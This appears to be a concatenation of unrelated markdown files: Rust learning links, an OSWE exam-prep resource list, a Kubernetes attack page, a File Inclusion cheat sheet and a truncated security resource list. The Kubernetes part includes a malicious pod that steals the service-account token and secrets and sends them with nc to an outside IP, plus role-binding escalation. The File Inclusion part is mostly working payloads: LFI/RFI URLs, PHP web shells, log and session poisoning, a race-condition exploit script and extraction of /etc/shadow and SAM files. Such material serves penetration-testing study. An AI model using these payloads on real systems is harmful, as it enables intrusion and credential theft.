Goulding](https://github.com/shepmaster) (paid) * [Rust Language Cheat Sheet](https://cheats.rs/) * [Rust Online Courses at Classpert](https://classpert.com/search/rust) — A list of Rust online courses (paid) from Classpert Online Course Search * [Rust Tiếng Việt](https://rust-tieng-viet.github.io/) - Learn Rust in Vietnamese. * [rust-how-do-i-start](https://github.com/jondot/rust-how-do-i-start) - A repo dedicated to answering the question: "So, Rust. How do I _start_?". A beginner only hand-picked resources and learning track. * [rust-learning](https://github.com/ctjhoa/rust-learning) — A collection of useful resources to learn Rust * [Rustlings](https://github.com/rust-lang/rustlings) — small exercises to get you used to reading and writing Rust code * [Rusty CS](https://github.com/AbdesamedBendjeddou/Rusty-CS) - A Computer Science Curriculum that helps practice the acquired academic knowledge in Rust * [stdx](https://github.com/brson/stdx) — Learn these crates first as an extension to std * [Take your first steps with Rust](https://learn.microsoft.com/en-us/training/paths/rust-first-steps/) - Lay the foundation of knowledge you need to build fast and effective programs in Rust. * [University of Pennsylvania's Comp Sci Rust Programming Course](http://cis198-2016s.github.io/schedule/) * Podcasts * [New Rustacean](https://newrustacean.com) — A podcast about learning Rust * [Rustacean Station](https://rustacean-station.org/) — A community project for creating podcast content for Rust * [Rust Design Patterns](https://github.com/rust-unofficial/patterns) * [Rust Guidelines](http://aturon.github.io/) * [Rust Servers, Services and Apps - MEAP](https://www.manning.com/books/rust-servers-services-and-apps) - Build backend servers, services, and front-ends in Rust to get fast, reliable, and maintainable applications. * [Rust Subreddit](https://www.reddit.com/r/rust/) — A subreddit(forum) where rust related questions, articles and resources are posted and discussed * [RustBooks](https://github.com/sger/RustBooks) — list of RustBooks * [RustCamp 2015 Talks](https://www.youtube.com/playlist?list=PLE7tQUdRKcybdIw61JpCoo89i4pWU5f_t) * [RustViz](https://github.com/rustviz/rustviz) — generates visualizations from simple Rust programs to assist users in better understanding the Rust Lifetime and Borrowing mechanism. ## License [![CC0](https://licensebuttons.net/p/zero/1.0/88x31.png)](https://creativecommons.org/publicdomain/zero/1.0/)
# OSWE-Prep Useful tips and resources for preparing for exam. ### Learning Material | Order | Name | Link | |--- | ----- | ----- | | 1 | A Deep Dive into XXE | https://www.synack.com/blog/a-deep-dive-into-xxe-injection/ | | 2 | Testing and Exploiting Java Deserialization | https://afinepl.medium.com/testing-and-exploiting-java-deserialization-in-2021-e762f3e43ca2 | | 3 | Understanding Java Deserialization | https://nytrosecurity.com/2018/05/30/understanding-java-deserialization/ | | 4 | Exploiting_and_Preventing_Deserialization_Vulnerabilities | https://owasp.org/www-chapter-vancouver/assets/presentations/2020-05_Exploiting_and_Preventing_Deserialization_Vulnerabilities.pdf | | 5 | PHP Magic Tricks Type Juggling | https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf | | 6 | Paul's Security Weekly #572- Type Juggling | https://www.youtube.com/watch?v=ASYuK01H3Po | | 7 | Ippsec PHP Deserialization and PHAR Deserialization | https://www.youtube.com/watch?v=HaW15aMzBUM, https://www.youtube.com/watch?v=fHZKSCMWqF4 | | 8 | Code that gets you pwn(s\|'d) - snyff | https://www.youtube.com/watch?v=BNHKlj-PMDc | | 9 | Hacktricks SQL Injection | https://book.hacktricks.xyz/pentesting-web/sql-injection | | 10 | Understanding PHP Object Injection | https://securitycafe.ro/2015/01/05/understanding-php-object-injection/ | | 11 | Attacking .NET deserialization - Alvaro Muñoz | https://www.youtube.com/watch?v=eDfGpu3iE4Q | | 12 | Hacktricks File Upload | https://book.hacktricks.xyz/pentesting-web/file-upload | ### Practice Labs **Note:** Only topics from the course will come up on the exam in most cases with slight variations. | Order | Name | Type | Link | |--- | ----- | ----- | --- | | 1 | SECURECODE | VulnHub - Free | https://www.vulnhub.com/entry/securecode-1,651/ | | 2 | Cryptobank1 | VulnHub - Free | https://www.vulnhub.com/entry/cryptobank-1,467/ | | 3 | PentesterLab - SQLi to Shell - MySQL | Pentesterlab - Free | https://pentesterlab.com/exercises/from_sqli_to_shell/course | | 4 | PentesterLab - SQLi to Shell 2 - MySQL | Pentesterlab - Free | https://www.pentesterlab.com/exercises/from_sqli_to_shell_II/course | | 5 | PentesterLab - SQLi to Shell - Postgres | Pentesterlab - Free | https://pentesterlab.com/exercises/from_sqli_to_shell_pg_edition/course | | 6 | Java Deserialization WebApp | GitHub - Free | https://github.com/hvqzao/java-deserialize-webapp | | 7 | XSS and MySQL FILE | Pentesterlab - Free | https://pentesterlab.com/exercises/xss_and_mysql_file/course, https://sarthaksaini.com/2019/awae/xss-rce.html | | 8 | Zors | VulnHub - Free | https://www.vulnhub.com/entry/tophatsec-zorz,117/ | | 9 | XXE-Study | GitHub - Free | https://github.com/HLOverflow/XXE-study | | 10 | GoSecure - Template Injection Workshop | Workshop - Free | https://gosecure.github.io/template-injection-workshop/, https://www.youtube.com/watch?v=I7xQZOvZzIw | | 11 | GoSecure - XXE Workshop | Workshop - Free | https://gosecure.github.io/xxe-workshop/ | | 12 | Pwnworks | .NET Deserialization Github - Free | https://github.com/abhisek/pwnworks/tree/master/challenges/dotnet-deserialization | | 13 | dev/random/pipe | PHP Deserialization VulnHub - Free | https://www.vulnhub.com/entry/devrandom-pipe,124/ | ### Vulnerability Writeups Real world examples | Order | Name | Link | |--- | ----- | ----- | | 1 | Reflected XSS to Account Takeover | https://medium.com/a-bugz-life/from-reflected-xss-to-account-takeover-showing-xss-impact-9bc6dd35d4e6 | | 2 | dotCMS 5.1.5: Exploiting H2 SQL injection to RCE | https://blog.sonarsource.com/dotcms515-sqli-to-rce?redirect=rips | | 3 | ATutor Authentication Bypass | https://rebraws.github.io/ATutorAuthBypass/ | ### Scripting Python examples of pocs that can be used for write single click pocs | Order | Name | Type | Link | |--- | ----- | ----- | --- | | 1 | Python requests documentation | https://docs.python-requests.org/en/master/ | | 2 | HTB Scripts | https://github.com/s0j0hn/AWAE-OSWE-Prep | | 3 | OutHackThem - Single Script Exploit | https://github.com/wetw0rk/AWAE-PREP/tree/master/Community%20Contributions%20%26%20Enhancements/Code%20Improvements/XSS%20and%20MySQL/OutHackThem%20-%20Single%20Script%20Exploit | | 4 | SQLi scripts | https://github.com/wetw0rk/AWAE-PREP/tree/master/Community%20Contributions%20%26%20Enhancements/Challenges/PortSwigger | | 5 | A python based blind SQL injection exploitation script| https://github.com/21y4d/blindSQLir | ### Cheat Sheets | Order | Name | Link | |--- | ----- | ----- | | 1 | reverse shell cheat sheet | https://highon.coffee/blog/reverse-shell-cheat-sheet/ | | 2 | Payload All the Things | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files, https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Deserialization | | 3 | sql injection cheat sheet | https://portswigger.net/web-security/sql-injection/cheat-sheet | | 4 | Java Deserialization Cheat Sheet | https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md | | 5 | Deserialization Cheat Sheet | https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Deserialization_Cheat_Sheet.md | | 6 | SQL Injection Cheat Sheet | https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/#StringwithoutQuotes | | 7 | PHP Object Injection Cheat Sheet | https://nitesculucian.github.io/2018/10/05/php-object-injection-cheat-sheet/ | ### Exam Resources and Reporting Exam related resources that might be useful | Order | Name | Link | |--- | ----- | ---- | | 1 | Proctoring Student Manual | https://help.offensive-security.com/hc/en-us/articles/360050299352-Proctoring-Tool-Student-Manual | | 2 | OSWE Exam Guide | https://help.offensive-security.com/hc/en-us/articles/360046869951l | | 3 | Offsec Report Tempalte Generator | https://github.com/noraj/OSCP-Exam-Report-Template-Markdown | | 4 | oswe review - tips and tricks | https://www.youtube.com/watch?v=ElZ7fFE9Gr4 | | 5 | OSWE Review (AWAE Course) | https://stacktrac3.co/oswe-review-awae-course/#Losing_Steam_and_Yolo%E2%80%99ing_It | ### HTB Writeups Hackthebox writeups with vulnerabilities and exploitation paths similiar to lab and course content. Video walkthroughs of these writeups can also be found [here](https://www.youtube.com/c/ippsec/videos) | Order | Machine Name | Vulnerability | Link | |--- | ----- | ----- | --- | | 1 | Popcorn | Insecure File Upload | https://0xdf.gitlab.io/2020/06/23/htb-popcorn.html | | 2 | Vault | Insecure File Upload | https://0xrick.github.io/hack-the-box/vault/ | | 3 | Arkham | Java Deserialization | https://0xrick.github.io/hack-the-box/arkham/ | | 4 | Jsonl | .NET Deserialization | https://0xdf.gitlab.io/2020/02/15/htb-json.html | | 5 | Cereal | Authentication Bypass | https://0xdf.gitlab.io/2021/05/29/htb-cereal.html | | 6 | Celestial | Node Deserialization | https://0xdf.gitlab.io/2018/08/25/htb-celestial.html | | 7 | Unattendedl | SQL Injection (MySQL) | https://0xrick.github.io/hack-the-box/unattended/| | 8 | Ghoul | Zip Traversal | https://0xrick.github.io/hack-the-box/ghoul/ | | 9 | Falafel | SQL Injection (MySQL), Type Juggling | https://0xdf.gitlab.io/2018/06/23/htb-falafel.html | | 10 | Fighter | SQL Injection (MS-SQL) | https://fdlucifer.github.io/2020/06/03/fighter/ | ### Pre/Post-AWAE Good resources to learn before starting AWAE or after finishing your OSWE exam | Order | Name | Link | |--- | ----- | ----- | | 1 | Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper | https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/ | | 2 | Pentesterlab Free | https://www.pentesterlab.com/exercises?only=free | | 3 | Portswigger Websecurityacademy | https://portswigger.net/web-security/all-labs | | 4 | How to Test Horizontal & Vertical Authorization Issues in Web Application | https://pentest.blog/how-to-test-horizontal-vertical-authorization-issues-in-web-application/ | | 5 | OWASP Code Review Guide | https://owasp.org/www-pdf-archive/OWASP_Code_Review_Guide_v2.pdf/ | | 6 | Security .NET Deserialization | https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization, https://www.youtube.com/watch?v=oxlD8VWWHE8 | | 7 | Friday the 13th: JSON Attacks | https://www.youtube.com/watch?v=oUAeWhW5b8c | | 8 | Hacker101 - Source Code Review | https://www.hacker101.com/sessions/source_review.html |
# Kubernetes > Kubernetes is an open-source container-orchestration system for automating application deployment, scaling, and management. It was originally designed by Google, and is now maintained by the Cloud Native Computing Foundation. ## Summary - [Tools](#tools) - [RBAC Configuration](#rbac-configuration) - [Listing Secrets](#listing-secrets) - [Access Any Resource or Verb](#access-any-resource-or-verb) - [Pod Creation](#pod-creation) - [Privilege to Use Pods/Exec](#privilege-to-use-pods-exec) - [Privilege to Get/Patch Rolebindings](#privilege-to-get-patch-rolebindings) - [Impersonating a Privileged Account](#impersonating-a-privileged-account) - [Privileged Service Account Token](#privileged-service-account-token) - [Interesting endpoints to reach](#interesting-endpoints-to-reach) - [API addresses that you should know](#api-addresses-that-you-should-know) - [References](#references) ## Tools * [kubeaudit](https://github.com/Shopify/kubeaudit). kubeaudit is a command line tool to audit Kubernetes clusters for various different security concerns: run the container as a non-root user, use a read only root filesystem, drop scary capabilities, don't add new ones, don't run privileged, ... * [kubesec.io](https://kubesec.io/). Security risk analysis for Kubernetes resources. * [kube-bench](https://github.com/aquasecurity/kube-bench). kube-bench is a Go application that checks whether Kubernetes is deployed securely by running the checks documented in the [CIS Kubernetes Benchmark](https://www.cisecurity.org/benchmark/kubernetes/). * [katacoda](https://katacoda.com/courses/kubernetes). Learn Kubernetes using interactive broser-based scenarios. ## Service Token > As it turns out, when pods (a Kubernetes abstraction for a group of containers) are created they are automatically assigned the default service account, and a new volume is created containing the token for accessing the Kubernetes API. That volume is then mounted into all the containers in the pod. ```powershell $ cat /var/run/secrets/kubernetes.io/serviceaccount # kubectl makes cluster compromise trivial as it will use that serviceaccount token without additional prompting ``` ## RBAC Configuration ### Listing Secrets An attacker that gains access to list secrets in the cluster can use the following curl commands to get all secrets in "kube-system" namespace. ```powershell curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/ ``` ### Access Any Resource or Verb ```powershell resources: - '*' verbs: - '*' ``` ### Pod Creation Check your right with `kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml`. Then create a malicious pod.yaml file. ```yaml apiVersion: v1 kind: Pod metadata: name: alpine namespace: kube-system spec: containers: - name: alpine image: alpine command: ["/bin/sh"] args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000'] serviceAccountName: bootstrap-signer automountServiceAccountToken: true hostNetwork: true ``` Then `kubectl apply -f malicious-pod.yaml` ### Privilege to Use Pods/Exec ```powershell kubectl exec -it <POD NAME> -n <PODS NAMESPACE> –- sh ``` ### Privilege to Get/Patch Rolebindings The purpose of this JSON file is to bind the admin "CluserRole" to the compromised service account. Create a malicious RoleBinging.json file. ```powershell { "apiVersion": "rbac.authorization.k8s.io/v1", "kind": "RoleBinding", "metadata": { "name": "malicious-rolebinding", "namespcaes": "default" }, "roleRef": { "apiGroup": "*", "kind": "ClusterRole", "name": "admin" }, "subjects": [ { "kind": "ServiceAccount", "name": "sa-comp" "namespace": "default" } ] } ``` ```powershell curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings -d @malicious-RoleBinging.json curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret ``` ### Impersonating a Privileged Account ```powershell curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" -H "Impersonate-Group: system:masters" -H "Impersonate-User: null" -H "Accept: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/ ``` ## Privileged Service Account Token ```powershell $ cat /run/secrets/kubernetes.io/serviceaccount/token $ curl -k -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/ ``` ## Interesting endpoints to reach ```powershell # List Pods curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/pods/ # List secrets curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/ # List deployments curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/deployments # List daemonsets curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/daemonsets ``` ## API addresses that you should know *(External network visibility)* ### cAdvisor ```powershell curl -k https://<IP Address>:4194 ``` ### Insecure API server ```powershell curl -k https://<IP Address>:8080 ``` ### Secure API Server ```powershell curl -k https://<IP Address>:(8|6)443/swaggerapi curl -k https://<IP Address>:(8|6)443/healthz curl -k https://<IP Address>:(8|6)443/api/v1 ``` ### etcd API ```powershell curl -k https://<IP address>:2379 curl -k https://<IP address>:2379/version etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only ``` ### Kubelet API ```powershell curl -k https://<IP address>:10250 curl -k https://<IP address>:10250/metrics curl -k https://<IP address>:10250/pods ``` ### kubelet (Read only) ```powershell curl -k https://<IP Address>:10255 http://<external-IP>:10255/pods ``` ## References - [Kubernetes Pentest Methodology Part 1 - by Or Ida on August 8, 2019](https://securityboulevard.com/2019/08/kubernetes-pentest-methodology-part-1) - [Kubernetes Pentest Methodology Part 2 - by Or Ida on September 5, 2019](https://securityboulevard.com/2019/09/kubernetes-pentest-methodology-part-2) - [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0)
# File Inclusion > The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. > The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application ## Summary * [Tools](#tools) * [Basic LFI](#basic-lfi) * [Null byte](#null-byte) * [Double encoding](#double-encoding) * [UTF-8 encoding](#utf-8-encoding) * [Path and dot truncation](#path-and-dot-truncation) * [Filter bypass tricks](#filter-bypass-tricks) * [Basic RFI](#basic-rfi) * [LFI / RFI using wrappers](#lfi--rfi-using-wrappers) * [Wrapper php://filter](#wrapper-phpfilter) * [Wrapper zip://](#wrapper-zip) * [Wrapper data://](#wrapper-data) * [Wrapper expect://](#wrapper-expect) * [Wrapper input://](#wrapper-input) * [Wrapper phar://](#wrapper-phar) * [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd) * [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron) * [LFI to RCE via upload](#lfi-to-rce-via-upload) * [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race) * [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo) * [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file) * [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions) * [LFI to RCE via credentials files](#lfi-o-rce-via-credentials-files) ## Tools * [Kadimus - https://github.com/P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus) * [LFISuite - https://github.com/D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite) * [fimap - https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) ## Basic LFI In the following examples we include the `/etc/passwd` file, check the `Directory & Path Traversal` chapter for more interesting files. ```powershell http://example.com/index.php?page=../../../etc/passwd ``` ### Null byte :warning: In versions of PHP below 5.3 we can terminate with null byte. ```powershell http://example.com/index.php?page=../../../etc/passwd%00 ``` ### Double encoding ```powershell http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### UTF-8 encoding ```powershell http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00 ``` ### Path and dot truncation On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away. ```powershell http://example.com/index.php?page=../../../etc/passwd............[ADD MORE] http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE] http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE] http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd ``` ### Filter bypass tricks ```powershell http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd ``` ## Basic RFI Most of the filter bypasses from LFI section can be reused for RFI. ```powershell http://example.com/index.php?page=http://evil.com/shell.txt ``` ### Null byte ```powershell http://example.com/index.php?page=http://evil.com/shell.txt%00 ``` ### Double encoding ```powershell http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt ``` ### Bypass allow_url_include When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still possible to include a remote file on Windows box using the `smb` protocol. 1. Create a share open to everyone 2. Write a PHP code inside a file : `shell.php` 3. Include it `http://example.com/index.php?page=\\10.0.0.1\share\shell.php` ## LFI / RFI using wrappers ### Wrapper php://filter The part "php://filter" is case insensitive ```powershell http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php ``` can be chained with a compression wrapper for large files. ```powershell http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd ``` NOTE: Wrappers can be chained multiple times : `php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s` ```powershell ./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php ``` ### Wrapper zip:// ```python echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php http://example.com/index.php?page=zip://shell.jpg%23payload.php ``` ### Wrapper data:// ```powershell http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>" ``` Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+` ### Wrapper expect:// ```powershell http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### Wrapper input:// Specify your payload in the POST parameters, this can be done with a simple `curl` command. ```powershell curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v ``` Alternatively, Kadimus has a module to automate this attack. ```powershell ./kadimus -u "https://example.com/index.php?page=php://input%00" -C '<?php echo shell_exec("id"); ?>' -T input ``` ### Wrapper phar:// Create a phar file with a serialized object in its meta-data. ```php // create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub('<?php __HALT_COMPILER(); ? >'); // add object of any class as meta data class AnyClass {} $object = new AnyClass; $object->data = 'rips'; $phar->setMetadata($object); $phar->stopBuffering(); ``` If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method __destruct() or __wakeup() defined, then those methods are automatically invoked ```php class AnyClass { function __destruct() { echo $this->data; } } // output: rips include('phar://test.phar'); ``` NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, `file_exists` and many more. ## LFI to RCE via /proc/*/fd 1. Upload a lot of shells (for example : 100) 2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too) ## LFI to RCE via /proc/self/environ Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file ```powershell GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: <?=phpinfo(); ?> ``` ## LFI to RCE via upload If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ). ```powershell http://example.com/index.php?page=path/to/uploaded/file.png ``` In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf ## LFI to RCE via upload (race) Worlds Quitest Let's Play" * Upload a file and trigger a self-inclusion. * Repeat 1 a shitload of time to: * increase our odds of winning the race * increase our guessing odds * Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6} * Enjoy our shell. ```python import itertools import requests import sys print('[+] Trying to win the race') f = {'file': open('shell.php', 'rb')} for _ in range(4096 * 4096): requests.post('http://target.com/index.php?c=index.php', f) print('[+] Bruteforcing the inclusion') for fname in itertools.combinations(string.ascii_letters + string.digits, 6): url = 'http://target.com/index.php?c=/tmp/php' + fname r = requests.get(url) if 'load average' in r.text: # <?php echo system('uptime'); print('[+] We have got a shell: ' + url) sys.exit(0) print('[x] Something went wrong, please try again') ``` ## LFI to RCE via phpinfo() https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py) ## LFI to RCE via controlled log file Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file. ```powershell http://example.com/index.php?page=/var/log/apache/access.log http://example.com/index.php?page=/var/log/apache/error.log http://example.com/index.php?page=/var/log/nginx/access.log http://example.com/index.php?page=/var/log/nginx/error.log http://example.com/index.php?page=/var/log/vsftpd.log http://example.com/index.php?page=/var/log/sshd.log http://example.com/index.php?page=/var/log/mail http://example.com/index.php?page=/var/log/httpd/error_log http://example.com/index.php?page=/usr/local/apache/log/error_log http://example.com/index.php?page=/usr/local/apache2/log/error_log ``` ### RCE via SSH Try to ssh into the box with a PHP code as username `<?php system($_GET["cmd"]);?>`. ```powershell ssh <?php system($_GET["cmd"]);?>@10.10.10.10 ``` Then include the SSH log files inside the Web Application. ```powershell http://example.com/index.php?page=/var/log/auth.log&cmd=id ``` ### RCE via Mail First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`. ```powershell root@kali:~# telnet 10.10.10.10. 25 Trying 10.10.10.10.... Connected to 10.10.10.10.. Escape character is '^]'. 220 straylight ESMTP Postfix (Debian/GNU) helo ok 250 straylight mail from: [email protected] 250 2.1.0 Ok rcpt to: root 250 2.1.5 Ok data 354 End data with <CR><LF>.<CR><LF> subject: <?php echo system($_GET["cmd"]); ?> data2 . ``` In some cases you can also send the email with the `mail` command line. ```powershell mail -s "<?php system($_GET['cmd']);?>" [email protected]. < /dev/null ``` ## LFI to RCE via PHP sessions Check if the website use PHP Session (PHPSESSID) ```javascript Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] files ```javascript /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` Set the cookie to `<?php system('cat /etc/passwd');?>` ```powershell login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php ``` Use the LFI to include the PHP session file ```powershell login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27 ``` ## LFI to RCE via credentials files This method require high privileges inside the application in order to read the sensitive files. ### Windows version First extract `sam` and `system` files. ```powershell http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam http://example.com/index.php?page=../../../../../../WINDOWS/repair/system ``` Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique. ### Linux version First extract `/etc/shadow` files. ```powershell http://example.com/index.php?page=../../../../../../etc/shadow ``` Then crack the hashes inside in order to login via SSH on the machine. ## References * [OWASP LFI](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion) * [HighOn.coffee LFI Cheat](https://highon.coffee/blog/lfi-cheat-sheet/) * [Turning LFI to RFI](https://l.avala.mp/?p=241) * [Is PHP vulnerable and under what conditions?](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html) * [Upgrade from LFI to RCE via PHP Sessions](https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/) * [Local file inclusion tricks](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html) * [CVV #1: Local File Inclusion - SI9INT](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a) * [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos](http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html) * [Baby^H Master PHP 2017 by @orangetw](https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017) * [Чтение файлов => unserialize !](https://rdot.org/forum/showthread.php?t=4379) * [New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse](https://blog.ripstech.com/2018/new-php-exploitation-technique/) * [It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf) * [Local file inclusion mini list - Penetrate.io](https://penetrate.io/2014/09/25/local-file-inclusion-mini-list/) * [CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a) * [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1)
# Cyber Security Resources The following are the resources which i use and like the most. ### This will be regularly updated. ## Web Penetration Testing : ### Online Resources 1. Hacker101: https://www.hacker101.com 2. Bugcrowd University: https://www.bugcrowd.com/hackers/bugcrowd-university/ 3. Hacking Articles: https://www.hackingarticles.in 4. Portswiggers Research Academy: https://portswigger.net/web-security 5. Bugcrowd's Github: https://github.com/bugcrowd/bugcrowd_university 6. Nahamsec's resources: https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters 7. Its Little Things by Nahamsec: https://docs.google.com/presentation/d/1xgvEScGZ_ukNY0rmfKz1JN0sn-CgZY_rTp2B_SZvijk/edit#slide=id.g4052c4692d_0_0 8. ZSeano's Barker : https://bugbountyhunter.com 9. The Cyber Mentor: https://www.youtube.com/c/TheCyberMentor/videos 10. Offensive Security Labs: https://portal.offensive-security.com/sign-in 11. INE Pentesting Prerequisites https://my.ine.com/CyberSecurity/courses/309de2a5/penetration-testing-prerequisites 12. INE Pentesting Basics https://my.ine.com/CyberSecurity/courses/6f986ca5/penetration-testing-basics 13. https://gowthams.gitbook.io/bughunter-handbook/ 14. The Bug Hunter's Methodology by Jhaddix: https://github.com/jhaddix/tbhm ### Youtuber's to follow 1. Nahamsec : https://www.youtube.com/c/Nahamsec 2. STOK: https://www.youtube.com/c/STOKfredrik/videos 3. Hacktify: https://www.youtube.com/channel/UCS82DNnKOhXHcGKxGzQvNSQ 4. HackerSploit: 